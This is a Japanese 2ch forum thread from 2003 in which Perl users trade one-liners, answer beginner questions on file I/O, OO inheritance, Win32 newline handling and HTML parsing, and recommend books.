俺はログのちょっとしたソート→ファイルに書き戻しぐらいしかやったことが無いから10数命令程度かな・・・
その人にとって改行やインデントしなくてもすぐに組み立てて書けるまでが1ライナーですかね?w
>>192
10数命令?
ファイルに書くのにopen使ったりしてんの?
$ cat log.txt | perl -e 'push(@_,<>);print sort @_;' > sorted.txt
とかやらない?DOSプロンプトでできたかどうか忘れたけど
一々cat通すの癖か?

$ perl -e "print sort <>" < log.txt >sorted.txt
>>194
あー。くせっていうか、ワンライナー書く時って大抵
$ cat log.txt
とした後に何か処理したいなあ思うわけで、
そうすると C-p(履歴を出す) してから続けて書いてくのでそうなっちゃうんです。
>>194
193じゃないが、俺は癖だ

< ってどうも好きじゃ無いんだよな
cat から始めた方が左から右に流れてく感じになるし
場合によっては 別のコマンドの出力からワンライナに繋ぐ事もあるしで

いや、非効率なのは分かってるんだが
Perlでワンライナーのスクリプトって便利そうですね。
>cat から始めた方が左から右に流れてく感じになるし

$ < log.txt perl -e "print sort <>" >sorted.txt
こうすりゃ左から右だぜ?w
>>198
きもっw
ぜんぜんきもくないけどなあ。
199は鏡でも見たんだろう
納得。
納豆って結構健康的だよね。
204デフォルトの名無しさん:03/09/07 00:21
毎日Win32::APIモジュールで遊ぶ毎日です。
205デフォルトの名無しさん:03/09/07 00:38
改行コードの削除は
 s/\x0d?\x0a//
が最強ですか?
>>205
tr/\0x0d\x0a//
>>205
\x0dが改行の時はどーすんだ
ラリーはまだホンダのアコードに乗っているんですか?
209デフォルトの名無しさん:03/09/09 16:48
Win32::RASEモジュールを使ってPPP接続の処理を書いているんですけど、
リダイヤル処理は自前で実装しなきゃ駄目でしょうか?
210デフォルトの名無しさん:03/09/10 03:33
Perlで書かれたPerlインタプリタってのはないんでしょうか?
LISPでよく見かけるあれです。
eval {}?
>>210
ない。
あるとしても、パーサならともかく、インタプリタとなると遅すぎて使い物にならんだろう。
evalにぶちこみゃいいじゃん
>>186
仕様書があれば作り直しですが、大抵はそんなものはないので、結構よくやります。
一番問題になることが多いのがグローバル変数の濫用です。
この場合「メソッドの抽出」をやることが多いです。

1. 適当な単位でくくり出す(すぐ下にコピペ)
2. くくり出した中にある変数を全部渡すようにして、呼び出し元は関数呼び出しに、
コピペしたやつはsubで囲んで引数処理。
3. 引数にしたやつがどこで宣言されているかをgrepとかで確認、問題がなければ宣言を
subのすぐ上に移動させたり、引数から削ったりする。寿命の長い変数はクラスとかハッシュに
入れて、それを引数で渡すようにする。

というような感じです。臨機応変に。

myを知らない人が非常に多い。
そして「Perlはローカル変数が使えない糞言語」とか逝ってるんですよ。小一時間
問い詰めたいもんです。
215デフォルトの名無しさん:03/09/11 22:48
>>214
仕事で書くコードぐらい、use strictを入れて欲しいですな。
つか、CGI屋はまともなプログラミング作法というものを知らない。
パフォーマンスを考慮した作法破りではなくて、ただの無作法コーディング。
彼らが糞コードを書き、そしてそれを参考にして新米CGI屋が
また糞コードを生み出すという悪循環。どこかで断ち切って欲しいです。
>>215
CGI屋でstrictに書いてますが? 最も誰も来ないCGI屋ですが。

KENTを見る⇒KENTの本を買う⇒KENTのまねをする⇒あぼーん
>>214
小一時間といわず、36時間くらい問い詰めてやってくれ。
くだらない質問なんですが、
2桁の数字を1桁ずつ2つの変数に代入したいんです。

例えば12が元データだとしたら
$aに1
$bに2
という感じです。

方法をお教えいただけないでしょうか。
$i = 12;
$j = int($i / 10);
$k = $i % 10;
220218:03/09/11 23:45
>>219さま
ありがとうございました!
>>218
TMTOWTDIってことで

$org=123;
($a,$b,$c) = $org =~ /\d/g;
There's more than one way to do it.か
Perlの良いところと悪いところだネ
223218:03/09/12 01:44
>>221-222さま
そうですね。ひとつも見つけられなかった私は…勉強してきます。
224デフォルトの名無しさん:03/09/12 03:43
PerlでrawSocketを操りたいのですが、
どなたか方法をご存じの方がいましたら、教えて頂けませんでしょうか?
Googleで色々と検索してみましたが参考になりそうなものは、
http://www.cit.gu.edu.au/~anthony/info/perl/raw_socket_stuff
位しか見つけられませんでした。
参考になりそうなスクリプトが置いてあるサイトをご存じでしたらそれだけでも構いません。

Net::RawIPというモジュールも使えそうなのですが、使い方がよく分かりません。。。

差し迫って必要というわけではないのですが、
どなたかご存じの方がいましたらお願いします。
225デフォルトの名無しさん:03/09/12 14:28
LWPモジュールの挙動に不満があったので、下位モジュールの
Net::HTTPを使ってみたのですが、Timeoutの指定方法が分からず、
Proxy経由のHTTPなどでレスポンスが返ってこない場合、いつまでも
処理が止まったままになってしまいます。
対処方法などありますでしょうか?



Man Net::HTTP を SEE ALSO まで読む
227デフォルトの名無しさん:03/09/12 15:26
Perlのオブジェクト指向プログラミングについてですが
親クラスのデータを子クラスが継承したい場合どうするのでしょうか?

子クラスのコンストラクタ内で親クラスのコンストラクタを呼び出して,
得られた親のハッシュと子独自のハッシュを結合し,そいつに bless する
というのを思いつきますが,みなさんそうやってますか?

その場合,多階層クラス構造になると子のコンストラクタがどんどん
大変になっていきますが,そういうもんでしょうか?
Perl で OO なんて面倒なことはしません。
PerlはLISPを意識して組むのがいいよ。
関数リファレンスとクロージャを使いまくり。
OOライクなコーディングはPerl6になってからかな。
#This example demonstrates how one might inherit instance variables from a
#superclass for inclusion in the new class. This requires calling the
#superclass's constructor and adding one's own instance variables to the new
#object.

package Bar;

sub new {
my $type = shift;
my $self = {};
$self->{'buz'} = 42;
bless $self, $type;
}

package Foo;
#@ISA = qw( Bar );

sub new {
my $type = shift;
my $self = Bar->new;
$self->{'biz'} = 11;
bless $self, $type;
}

package main;

$a = Foo->new;
print "buz = ", $a->{'buz'}, "\n";
print "biz = ", $a->{'biz'}, "\n";
231227:03/09/12 16:59
みなさんありがとうございました.ちょっと勘違いしてました.

子クラスは自分の1個上のスーパークラスのコンストラクタだけ
呼べばいいので,クラス階層が深くなっても複雑になることはありませんね

クロージャーって何?と思ってラクダ本見ました.
自分はオブジェクト指向を勉強する以前に perl/Tkを使って
仕事で使うアプリを組んでいたので,
あぁコールバックで使うやつのことか〜と理解しました
(試行錯誤で挙動を勉強しました)
232デフォルトの名無しさん:03/09/12 17:24
プログラム以前の問題なんですが、
http://www.activestate.com/Products/ActivePerl/Download.html
Perl公式サイトと思われるところからダウンロードしようと思ってここへ行きました。
しかし、どこにPerlのファイルがあるのか分かりません。
Nextの先にある登録をしても返事が返ってこないんです。

Perlの本ファイルはどこにあるのですか?
ちなみにインフォシークで翻訳してみても皆目見当がつきませんでした。
>>232
一生そこで立ち往生してろ(w
235232:03/09/12 17:44
>>234
ありがとうございます。できました。
>>233
立つ瀬ないねw
237225:03/09/12 21:36
>>226
http://search.cpan.org/author/GAAS/libwww-perl-5.69/lib/Net/HTTP.pm
CPANのページを見る限りではtimeoutを指定する箇所はなさそうなんですよね。
ただ、LWPのHTTP::Requestにはtimeoutを指定できるのが???な状態です。
>>232
Contact Infoの入力ページに「Contact info is not required to download.」と書かれているだろ。
なにも入力しなければすんなり>>234のリンク先が表示される。
>>225
俺も今チラっと見ただけだけど、スーパークラスのメンバとして実装されてるみたいだよ。
perldoc IO::Socket::INETを見てくれ。
>>231
>>230ではスーパークラスの名前をハードコーディングしているけれども、Javaと同じように
my $this = $type->SUPER::new();
ともできます。
activeperl を使ってるのですが
.pl のファイルを実行したときに
プロンプトの画面を表示しないように
する方法ってありますか?
.plをC:\Perl\bin\wperl.exeに関連付けましょう。
243241:03/09/13 19:28
>>242
ありがとうございました。
引数ばっか探してました。
244デフォルトの名無しさん:03/09/14 11:23
windoes上で"0x0a"を書けません。どうしても"0x0d0a"に変換されてしまいます。
open(W,">out");
binmode(W);
$a=pack("C",0x0a);
syswrite(W,$a);
"0x0a"をそのまま書くにはどうすればいいでしょうか?
>>244
open(FILE,">out");
binmode(FILE); # Cでも "wb" で開かないと駄目みたい。
print FILE "\x0a"; # (゚д゚)ウマー
>>245
返事ありがとうございます。自動変換役に立つけど応用が利かん。
#cygwinだからかなぁ。
2chのスレからレスを抽出する目的で
#!/usr/bin/perl

use strict;
use LWP::Simple;
use HTML::TokeParser;

my $uri = shift;
my $sure = get($uri);
my $p = HTML::TokeParser->new($sure);

while($p->get_tag("dd") ){
 my $res = $p->get_text();
 if($res =~ /[a-z]|\d{32}/){
  print '-' x 10, qq{\n};
  print $res, qq{\n};
 }
}
print 'END';
てスクリプトを書いたんですが、引数を与えて実行すると
Can't call method "get_tag" on an undefined value at E:\cmdtool\winny.pl line 11.
と怒られます。どうやら$pがundefになってるのでオブジェクト生成に失敗してるようなんですが
原因分る方いらっしゃいますか?
$sureにはちゃんと中身(HTML)が入ってることは確認してます・・・
>>247
<q cite="http://search.cpan.org/author/GAAS/HTML-Parser-3.31/lib/HTML/TokeParser.pm">
If the argument is a plain scalar, then it is taken as the name of a file to be
opened and parsed. If the file can't be opened for reading, then the constructor
will return an undefined value and $! will tell you why it failed.
</q>
>>248
ごめん、もう一段落下だ。
<q>
If the argument is a reference to a plain scalar,
then this scalar is taken to be the literal document to parse.
The value of this scalar should not be changed before
all tokens have been extracted.
</q>
250247:03/09/15 01:19
どうもです・・・マニュアル読んでみたんですけどうまく英語読めてなかったみたいです^^;
my $p = HTML::TokeParser->new(\$sure);
として解決しました
winny.pl
252247:03/09/15 03:27
パーサ使うほど分りずらいHTMLでもないんで以下で落ち着きました・・・w
#!/usr/bin/perl

use strict;
use LWP::Simple;

my $sure = get(shift());
my @res = ($sure =~ /<dd>(.+?)<dt>/g);
my @maybe_hash = grep {/([a-z]|\d){32}/} @res;
@maybe_hash = map {s/<br>/\n/g and s/\n+$// and $_} @maybe_hash;
$" = "\n". ('-' x 20). "\n";
print "@maybe_hash", "\n<end>";

>>251
((((( ;゚Д゚)))))
「可変長データに挟まれた固定長データ」を持つバイナリファイル(複数)から
「固定長データ」だけを取出したいと思ってるんですがその様な事は可能ですか?

現在、人力でバイナリファイルからオフセットを調べ別ファイルに記述しておいて

open (DAT,"$file") or die "open $file: $!";
($a,$b,$offset) = split(/\t/, $_);
foreach (<DAT>) {
 open (BIN,"$path") or die "open $path: $!";
 binmode (BIN);
 seek (BIN,$offset,0);
 read (BIN,$tmp);
 .
 .
 .
みたいな事をやってるんですけど、対象ファイルは数百に上り、まだ数十程度。
そろそろ面倒になってきたのでエロイ人おられましたら入れ知恵してくだしあ。
それとも逝ってヨシでございましょーか?
二行目を書き損ねたジャン(´Д`)
>>253
バイナリファイルにセパレータは入って無いんですか?
どこからどこまでって情報が外部からしか与えられないんじゃ今の方法しかないと思うけど・・・
256255:03/09/15 13:43
>現在、人力でバイナリファイルからオフセットを調べ
よく読んでなかった
これも組み込めばいいじゃん
外部に書き出す必要なし
sendkeyでアクティブなアプリケーションにキーを送りたいのですが
sendkey("-key a"); でキーは送れるのですが
直ぐにキーを離した状態になります

キーを押したままにしたり、押したままのキーを解除する方法を教えてください
258257:03/09/15 14:48
事故怪傑しましたm(_ _)m
259253:03/09/15 19:13
>256
取出したいデータには終端らしきモノが確かに「ある」のですが値が微妙に違います。

ファイル A の終端 0E 02 00 00 00 00 2D 00
ファイル B の終端 5F 02 00 00 00 00 3B 00
ファイル C の終端 FF 01 00 00 00 00 28 00
ファイル D の終端 15 02 00 00 00 00 1F 00

この様な状況で目的のデータを取出すことができますか?
もし可能なら文例を示して頂けると非常に助かります。

自力では一旦メモリに読み込んでunpack、index関数を使用して正規表現で
絞り込むか、split関数を使用して千切るくらいしか思いつきません。

嗚呼....

試しに千切ってlengthを比較してみます....。
>259
どれが目的のデータか、他の人に伝えようとしている?
>>259
お前さんみたいなタイプは意識してないだろうが、
可変長データ、固定長データのそれぞれに仕様があるはずで、
普通の人はそれに従って作るのだよ

プログラム作るより、仕様の確定が先。
>>261
デスマーチの産物で、それぞれ個人仕様があったりしてな。
そして確定しようにもその部分の担当者がすでに現場にいなかったり。
263253:03/09/16 12:22
>>259
曝け出しすぎると突っ込み恐いのでズバリな例題は... 以下略。

>>261
手厳しく的確なアドバイスをどうも。

先頭から目的のデータまでは要らないや。と思って先走り過ぎておりましたです。
言われてみれば至極当然の事でしたから、目を皿にしてバイナリデータを比較・考察
したところ2バイトのヘッダを発見、それを手がかりに可変長データの大きさを知る事が
できたのでseekとreadで目的のデータを的確に広う事ができるようになりました。

↓データ構造はこんな感じ。

32768バイトの固定長データ(ヘッダ無し)
可変長データ(2バイトヘッダ有り) → 1バイト目16進 * 2バイト目16進 = レコード数(1レコード6バイト)
16384バイトの固定長(目的のデータ)
以後、謎のデータが続く....

バイナリデータを扱うのは初めてなので産みの苦しみってヤツ(?)を味わえました。
タネが解れば難なく処理できるのに....。
遅レスだが>>244
perlrunの環境変数PERLIOの個所を嫁。
ちなみに、以前漏れが調べた時はCygwinとActivePerlでは若干挙動が異なった。
>>264
Cygwinはマウントにモードがあるからね。
266デフォルトの名無しさん:03/09/17 08:03
ファイルを保存する時に","で区切るにはどうすれば良いのでしょうか?
今まではpack処理して気にせずに処理していたのですが、どうしても
ascii形式で保存しなければいけなくなりました。
my $dat = ($time, $a, $b);
syswrite FILE, $data, $data_length;
で保存しようとしても$timeしか保存されません。

コンマでセパレートする方法をどなたか教えてください。
267デフォルトの名無しさん:03/09/17 08:54
スカラに配列入れようとすると先頭要素しか入らんよ。うあああ。

perldoc -f join
と叩け。
読み出しにはsplitじゃ。
もしCSVに対応したいのだったら素直にライブラリつかえよー。
>先頭要素しか入らんよ -> 最後の要素です
要素数じゃないのか?
リストと配列変数は別物でふ
>>266
フィールドを,で区切りたいということですよね?そうなら
$a = 1;
$b = 2;
$c = 3;
my $dat = join ',', ($a, $b, $c);
print "***$dat***\n";

出力: ***1,2,3***

という感じで。
272266:03/09/17 23:55
>>271
レスありがと。
その通りです。
ファイルに保存したかったのですが、>>267を読んでも分からなかったので
四苦八苦してました。

perlを始めて1週間で、あちこちのソースをコピーしまくりですが、
もうちょっと一人で頑張ってみます。
>>266
print FILE "$time,$a,$b\n";
274266:03/09/18 00:45
>>273
何か即レスが(w

私がパクったソースがsyswriteを使っていたのでprintには頭が回りませんでした。
N88Basicとperlを比較してるサイトでprint文が使えることを知って成功した
からここに書こうとしたら回答が書かれてるし(w

ありがとうございました。また何かあったらよろしくお願いします。
printやwriteをsyswriteと混用することは、あなたがウィザード級の腕前の持ち主でない限りお勧めしない。

だそうです
私はwriteもsyswriteも使ったこと無いでふ(恥
writeはちょっと毛色が違うぞ。
277274:03/09/18 22:14
>>275
えっ?printとsyswriteを混用すると何か不都合があるのですか???
今の所まともに動いていたから安心していたのですけど・・・
>>277
syswrite はバッファを使わない。

open(FH, "<hage");
print FH "hage";
syswrite(FH, "debu");
syswrite使ったことなく、どんな動きするのかも知らない。
必要なときありますか?
あります。
UDPソケットはsyswriteと組み合わせて使う。
282デフォルトの名無しさん:03/09/19 18:05
system("$cmd");

上のようにsystemで起動するプロセスのプロセスIDは取得できますか?
>>280-281
どーも
perl の print はCで言うところの fwrite (いわゆるstdio系)
sysread,syswrite が read(2),write(2)
混ぜるな危険。
285デフォルトの名無しさん:03/09/19 19:13
perl5.8.0でのshiftjisの扱いについて質問です。
リテラルの扱いがunicodeなので困っています。
$str=<<EOF;
$A 表示 $B
EOF

とすると文字化けしてしまいます。
$str=<<'EOF';
$A 表示 $B
EOF

とすると文字化けはしませんが、変数が展開されません。
菜にか良い方法は無いでしょうか?
やはり前のバージョン(jperl)を使うしかないのでしょうか。
宜しく御願い致します。
>>285
何故にここで聞くかね?
http://openlab.ring.gr.jp/Jcode/index-j.html で
Jcode MLに入って聞いたらよろしかろ。

まあ、あんまりいい返事は貰えないと思うがね(w
sjis なんか使わなければいいのに。
ところで皆さん、今までPerlで感動したコードってあります?
もれは配列から重複した要素を取り除くってやつです
my %count;
@array = grep(!$count{$_}++, @array);
これ
「Perlメモ」に載ってるやつです

自前のコードとベンチで比較したらウン十倍も速くてビビッタ・・・w
だいいちハッシュに出現数をカウントさせるなんて思いもついませんですた・・・(;´Д`)
>>289
JAPHはいつ見ても ( ゚Д゚)<ポカーン
2重らせんDNAのやつがお気に入り

http://www.cpan.org/misc/japh
>>291
うわ…すげぇ。マジスゲェ。

…でも「感動するコード」ではない気がする。
seek関数がある
で、
現在開いてるファイルの位置を取得するにはどうすればいい?

*binmodeで開いたバイナリファイル
>293
tell
展開
変数にあるデータを展開する手軽な方法がなぜかありません。 (Google で探しても見つからない。)

## Taken from Namazu <http://www.namazu.org/>, filter/gzip.pl
my $s = $original_data; ## compressed data
my $flags = unpack('C', substr($s, 3, 1));
$s = substr($s, 10);
$s = substr($s, 2) if ($flags & 0x04);
$s =~ s/^[^\0]*\0// if ($flags & 0x08);
$s =~ s/^[^\0]*\0// if ($flags & 0x10);
$s = substr($s, 2) if ($flags & 0x02);

my $zl = Compress::Zlib::inflateInit
(-WindowBits => - Compress::Zlib::MAX_WBITS());
my ($inf, $stat) = $zl->inflate ($s);
if ($stat == Compress::Zlib::Z_OK()
|| $stat == Compress::Zlib::Z_STREAM_END()) {
return $inf;
} else {
die 'Bad compressed data';
}

これはWindowsで出来るのか?
*v5.6.1 Build 633 provided by ActiveState Corp. http://www.ActiveState.com
>>295
>これはWindowsで出来るのか?
やってみれば?
>>295の意味がわかる香具師いる?
ようするに Compress::Zlib が windows 上の perl で使えるか?
って聞いてるんじゃないのか?
299デフォルトの名無しさん:03/09/20 17:39
>>297
同意
>>298
そういう意味なら動く罠。

ただ、windowsでperl使うときはバイナリモードとテキストモードがあるとだけ言えば解る?>>295
Perl1本で飯食っていける?
やっぱCくらい出来た方がいいよなぁ・・・
つか今だにPerl主体の業務ってあるのかな?
301デフォルトの名無しさん:03/09/21 20:31
C言語のscanf同等のことをする関数はありますか?
>>300
いまどき Perl 1 の本を書いても食えるわけありません。
>>303
ははは
面白いね


>>300
極めたらPerlだけでも、あと数年は食えるでしょ
でも、そこまで頑張るくらいなら、素直にほかの言語を覚えるほうが楽だろうな
Perlってsh,awk,Lisp,C,C++なんかのつまみ食いだから
まともなプログラミングするにはそれらの言語についても
少しは知ってないと使えなくない?
>>305
俺はお前の上げた言語は奴は全部使ってるぞ。
まあshはbashやtcshの時もあるしLispもEmacsLispだが。
307デフォルトの名無しさん:03/09/22 00:23
正規表現でパターンの中に/があると
Quantifier follows nothing in regex; marked by <....
とかでてちゃんと動かないとおもいますが、これはどうやって解決できる
でしょうか?
>>307
\でエスケープするとか(\/)、m//→m{}にするとか。
>>308
解決でキマスタ!
ありがとうございました
拡張モジュールを書くときはCだし、C/C++くらいは知っておくべきだと思うが。
311デフォルトの名無しさん:03/09/22 11:31
今日からPerl勉強することになったんですが
サンプルファイルを実行するとDOSプロンプト画面がすぐ消えてしまいます。

実行環境:Win2K
Perl -v:5.6.1

 ActivePerlからmsiパッケージをDL、インストールした状態です。
サンプルプログラムは単に

print "Hello!!\n";
print "This is SampleProgram!!\n";

だけなんですけれども、実行すると画面はでるのですが、すぐ閉じてしまい
正しく実行できているのかわかりません。

> Perlの奥深さについて皆で語り合い
奥深さも何もありませんが、解決策お願いします。

PurePerlじゃないモジュールってroot要るんだよね?
しかしPerlで完結させないのってPerlらしくないような気がしないでもない・・・
>>311
ひょっとしてダブルクリックで起動させてる?
コマンドラインから実行すればいいと思うが
314311:03/09/22 11:40
>>313
…はい、コマンドラインでちゃんと見えました。
しくしく、解決しました、ありがとう。

すっごい恥ずかし。
>>312
適当なパスにインストールして
環境変数 PERL5LIB かスクリプト内で use lib
316301:03/09/22 11:48
>>302
やはり標準の関数やモジュールでは無理なんですね。
プラットフォームがWindowsなのでWin32::Consoleを使ってみたんですが、
Inputメソッドの戻り値がundefしか返って来ないので困ってました。
とりあえずそれ使ってみます。ありがとうございました。
>>315
や、だから「インストール」にroot要るっしょ?
>>317
ha?そんなもんいるか。
今、FTPを使わないでどこかの端末からサーバに画像を転送できる
ソースを考えています。
どこかに探しているサンプルプログラムはないものでしょうか?
グーグルで検索をしても見つかりませんでした。
どうかよろしくお願いします。

>>319
FTP使わない代わりに何使うの?
HTTPだったらアップローダのソース見ればいいんでは?
321デフォルトの名無しさん:03/09/22 12:13
>>322
それって既にバイナリなpmがあるってことなのかな?
それとも単にPerlのみで書かれてるだけ?

ま、俺が言いたかったのはmake installしなきゃいけないのははroot要るよね
ってだけでした・・・
#Cで書いたりコンパイルが必要ってのが何となくPerlらしくないような感じがしたってことです
>>323
おまいさんはもう少しうにっくすを学べ
>>324
お前がな
>>323
/usr/lib/perl や /usr/local/lib/perl じゃなくて、
自分のホームディレクトリ配下にインストールすりゃいいじゃん。
327デフォルトの名無しさん:03/09/22 15:30
>>325
おれは、レンタルサーバやけど
/home/***/lib/
にバシバシインストールして
use lib '/home/***/lib/';して
何でも欲しいもん使ってる。
うにっくすを学んだ事ほとんどないけど、
rootなんかいらね。
makeしてtestしてinstallしてるよ。

「モジュールインストするにはroot権限がいる」
って刷り込まれてるんか?
328311:03/09/22 16:39
現在win2kにActiveperlインスコして練習してます。

ファイルハンドルについて質問なんですが
ファイルを読み込みオンリーで利用する場合
open関数を利用しますが、利用の仕方が
open(ファイルハンドル名, ファイルパス)
というのはわかりました。
cの直下にplという練習用フォルダを作って
その中にlog.txtという名前で中身を適当に作って
open(IN, "c:\pl\log.txt")
としてみましたが、どうしてもc直下のlog.txtしか
読み込んでくれません。

これは、ファイルパスの表記が間違っているのか
単にwindowsのファイルパス表記じゃ無理なのでしょうか?
>>328
とりあえずファイルパスの\を/にしてみるとか

>>327
どっちかってとmake installにrootが要ると刷り込まれてますが
>>328
"c:\pl\log.txt" -> "c:\\pl\\log.txt"
>>328
$file = "C:\\pl\\log.txt"; # or "C:/pl/log.txt"
open IN, '<' . $file or die $!;

>>329
http://member.nifty.ne.jp/hippo2000/perltips/module_install.htm#2.1
>>329
だから、おれは!レンタルーサーバーだから、
もちろんrootなんかでログインできんわけで!
だけどコンパイル必要なモジュールだって、
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって


もう、いいか?難解も岩セル名
俺もレンタルサーバを使っているけれど、rootでログインできるよ。
334332:03/09/22 17:07
>>333
あ、正確に言うと、
俺はレンタルサーバで、かつ共用サーバやから
root権限与えられてませんが、ユーザーアカウントで
ログインして、ユーザーエリアでコンパイルしてインストールして
つまり、make install して使ってますから、
root権限なけりゃmake installできない、というのは根も葉もない刷り込み
だよ、と言うことです。
さっきもCPAN.pmでふたつみっつインストールしたし、
root権限ないし。?(゚_。)?(。_゚)?
335311:03/09/22 17:08
>>329
>>330
>>331

 レスありがとうございます。
実行してみました。\→\\に変えたものと、\→/に変えたもの。
実行して笑ってました。
「"」で囲まれてるんだから文字列なのですね。
だから「\」自体をエスケープさせないといけないのか…。

 あとこれはまた別質問なんですが、Perlの勉強によさげな
サイトとかありますか?今はKENTさんのサイトで勉強しています
帰りにポケットリファレンスは買おうと思っていますが…
>>335
えと、今日からPerlやってんだよね?
他言語の経験あるならやっぱ「ラクダ本」薦めますが・・・
俺が始めて買ったPerlの本もラクダです
ちなみに他言語の経験はjavaスクリプト少々、Cはhello worldのみでしたがw

言語も初めてならマジ初心者向けの1冊ケチらないで買った方がいいと思うが・・・
>>335
何はともあれ駱駝本。もしくは手元の perldoc か http://www.perldoc.com/
あとは http://pc2.2ch.net/test/read.cgi/php/1063562491/5-7n
画像をサーバにコピーで やっぱりFTPを使わないアップローだは
300Mが限界でしょうか?

リンクを貼ってくれたところはちょっと難しかったです。
339デフォルトの名無しさん:03/09/22 18:32
hoge.pl
piyo/{foo.pm,bar.pm}
という階層で、hoge.plでuse piyo::fooしていてfoo.pmでuse barしているのですが、
piyo.plはfoo.pmと同じ階層のbar.pmではなくhoge.plと同じ階層のbar.pmを探すようです。
自分としてはfoo.pmの中でuse barしたらfoo.pmと同じ階層でbar.pmを探して欲しいのですが
どうしたらいいですか?
パッケージ名はpiyo::foo, piyo::barです。
リファレンス本は結構役に立つ。
最初に買ったのが技術評論社のポケットリファレンスだったけど、
今でも役立っている。

ただ検索した文字を強調する機能がないのが残念だな、本は。
あんまり多言語の経験なさそうだし
いきなりラクダ本だと、あのボリュームに圧倒されてしまいがち(笑) なので
ラマ本あたりから入るのが良いと思う
http://www.oreilly.co.jp/BOOK/lperl3/
入門書としてはかなり優れてると思うよ、これより良いの読んだ事無い
とりあえず、KENTだけは絶対にやめとけ

>>340
perldocとオンラインがあれば、リファレンス本の類使わなくならないか?
342デフォルトの名無しさん:03/09/23 00:04
>>339
なんでそんなことしたいの?
343デフォルトの名無しさん:03/09/23 01:00
>>342
普通はどうするべきですか?
モジュール周りはよくワカンネ
修行が足りんな・・・

>>339
@INCに./piyoをpushするとかどうかな?
>>343
use piyo::bar;
http://www.tiobe.com/tpci.htm
Perlって結構人気なんですね。
SQLってプログラミングなんですね
↑広義ではプログラム言語かも。
349デフォルトの名無しさん:03/09/23 15:43
バイナリファイルからreadで読み取ったオクテットを16進文字列で表示するには
どうしたらいいですか?
>>349
$str = 'Perl';
print join ' ', unpack 'H2' x length($str), $str; # 50 65 72 6c
くだらないですが、16進表示のデータをバイナリと呼ぶのはなぜですかね?
よびません。
マジレスしたいが、ぐっと堪えてみるテスト。
>>341
311ではありませんが、いい本紹介してくださってサンクス。
さっそくamazon.comで注文してみます。
ずっとこのスレROMしててよかった。
355デフォルトの名無しさん:03/09/23 18:53
数値、文字列、○進文字列、バイナリ文字列、pack、unpackについて
分かりやすく説明できる人教えてください。

http://www.mikeneko.ne.jp/~lab/perl/numerical_transform/
定番本はテンプレ(>>3あたり)に入れといた方が良いかもしれないね
あとCPANとか一通りURLも
>>355
人を教えてほしいのか?
分りやすく説明できる人(がいるなら)教えて下さい。とするなら何を教えてほしいんだ?
Perl コーディング初心者質問コーナー Part28
http://pc2.2ch.net/test/read.cgi/php/1063562491/5-7
でもコピペしとく?
>>358
もっと少なくてもいいかもね
経験上、初心者は情報が多ければどれも見ない事が多い

本は、ラマ、ラクダ、CookBook, EffectivePerlくらい?
>>359
>経験上、初心者は情報が多ければどれも見ない事が多い
確かにそうかもしれんが、俺はそういう奴らを初心者とは認めない。
俺の思う初心者ってのは、前向きな姿勢で情熱があって色んな知識を得ようとする人たち。
何かを与えられても何もやらないのは初心者ではなくただのものぐさ太郎。
[本]
リャマ: http://www.oreilly.co.jp/BOOK/lperl3/
駱駝: http://www.oreilly.co.jp/BOOK/pperl3v1/
Effective Perl: http://www.ascii.co.jp/books/detail/4-7561/4-7561-3057-7.html
クックブック: http://www.oreilly.co.jp/BOOK/pcook/

[オンラインマニュアル]
・Perldoc.com: http://www.perldoc.com/
・perldoc.jp: http://www.perldoc.jp/
・perl5.005_03 のドキュメント: http://www.kt.rim.or.jp/%7ekbk/perl5.005/

[モジュール]
・CPAN.com: http://search.cpan.org/
・河馬屋二千年堂: http://member.nifty.ne.jp/hippo2000/

[テクニック]
・Perlメモ: http://www.din.or.jp/~ohzaki/perl.htm
・Perlのページ: http://homepage1.nifty.com/nomenclator/perl/

…お終い。
>>307
「/」 = \x2F

http:// = http\x3A\x3A\x2F

>355
某BOT(kore)のソース見ろ
$switch = uc(unpack("H2", substr($msg, 1, 1))) . uc(unpack("H2", substr($msg, 0, 1)));
他は
http://tohoho.wakusei.ne.jp/wwwperl.htm
でも見やがれ
363デフォルトの名無しさん:03/09/23 23:16
フォームからPOSTで一括取得した文字列群に、以下のデコード処理
tr/+/ /;
s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg;
を施した後って、決まって各々の文末の改行コードの後に半角スペースが入ってる状態になるんですが、
これは一体なんなのでしょうか。
仕方ないので、
s/\n+ /\n/g;
とかやってるんですが…

あと、文末の改行コードを除去するために
s/\n$//;
と書いてみたのですが、これでは動作せず、
s/\x0d?\x0a?$//; (http://www.din.or.jp/~ohzaki/perl.htm#CRLF_Removeより
とすると正常に動作したのですが、上の2つに(窓環境で)動作に差が生まれるものなのでしょうか?
\nは\x0d\x0aと等価ではなかったのですか…?


ActivePerl+httpdで実行しています。
初心者丸出しの質問で申し訳ありませんが、よろしくお願い致します。
外部ライブラリをC言語で書き、Perlスクリプトから呼び出したい
のですが、参考になるWebサイトを教えてください。
(この場合、ライブラリという名前は不適切でしょうか?
外部モジュール? エクステンション?)
>>363
デコードも改行の置換もコードは間違って無いと思う
つか右辺だけ書かれても情報足りないよ^^;
恐らくそのコードに着く以前が何かやらかしてると思われ
367デフォルトの名無しさん:03/09/24 14:19
コマンドライン引数は$ARGV[0], $ARGV[1],...で取得できますが、
自分自身の実行ファイル名を取得するにはどうすればいいので
しょうか。Linuxの/bin/sh -> bashのようにsymbolic link/hard
linkされていて、自分自身呼び出され方が何通りかある場合が
あると思うのですが。例えば上の例なら/bin/shとして呼ばれた
ら機能が少ないオプションで実行し、bashとして呼ばれたら
機能リッチなオプションで実行すると言うことをしたいのです。
そういうことやりたくなることありますよね?
368367:03/09/24 14:26
調べたら分かりました。
特殊変数$0が自分自身のファイル名になるんですね。
$ perl foo.pl
としても
$ foo.pl
としても$0にはfoo.plが入りました。
$ ln -s foo.pl bar.pl
としてから
$ bar.pl
とすれば$0にはbar.plが入りました。まさしくやりたかった事です。
>>368
グッジョブ

「分かりました」だけじゃなく報告もしろよ > スレの上の方の誰か
370コメ:03/09/24 21:20
サンプルコードに
foreach (0 .. $#key) {
}
とあるのですが、"$#key"の"#"ってどういう意味があるのですか?
しょぼい質問で恐縮ですが、よろしくお願いします。
>>371
早速のご回答有難うございます。
本当に助かりました。ホッ。
>>363
s/\r//g;
s/\n//g;

これではダメなのか?
374デフォルトの名無しさん:03/09/25 01:52
以前(多分前スレで)、「Windowsでシリアル通信するには?」という
質問をさせていただいた者です。
その時に教えていただいたとおりWin32::SerialPortを使っているのですが、
どうしても分からないところがあり、再度質問させていただきます。
375374:03/09/25 01:53
